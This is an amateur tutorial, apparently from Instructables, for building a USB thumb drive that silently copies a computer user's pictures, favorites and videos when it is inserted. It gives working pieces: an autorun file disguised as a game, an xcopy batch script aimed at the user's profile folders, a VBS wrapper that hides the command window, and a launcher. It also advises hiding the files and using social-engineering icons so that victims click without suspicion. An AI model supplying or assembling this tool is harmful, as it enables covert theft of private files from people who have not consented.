Introduction: How to Make Flash Drive That Copy's Users Files Silently and Automatically


How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials Needed

Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create Autorun File for the Flash Drive

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

action=Click ok to Run game for Windows

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the File for Copy of Documents to Drive

This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh

Step 4: Make Vb Script to Run Batch File As Invisible

This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.


CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


Step 5: Make a Batch File to Launch Vb Script and File.batch

ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat


wscript.exe \invisible.vbs file.bat


Step 6: Create Folder to Save Files Withing Thumb Drive.

Go to the root of the thumb drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.

Step 7: Put All Files in Root of Drive and Try Out

Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking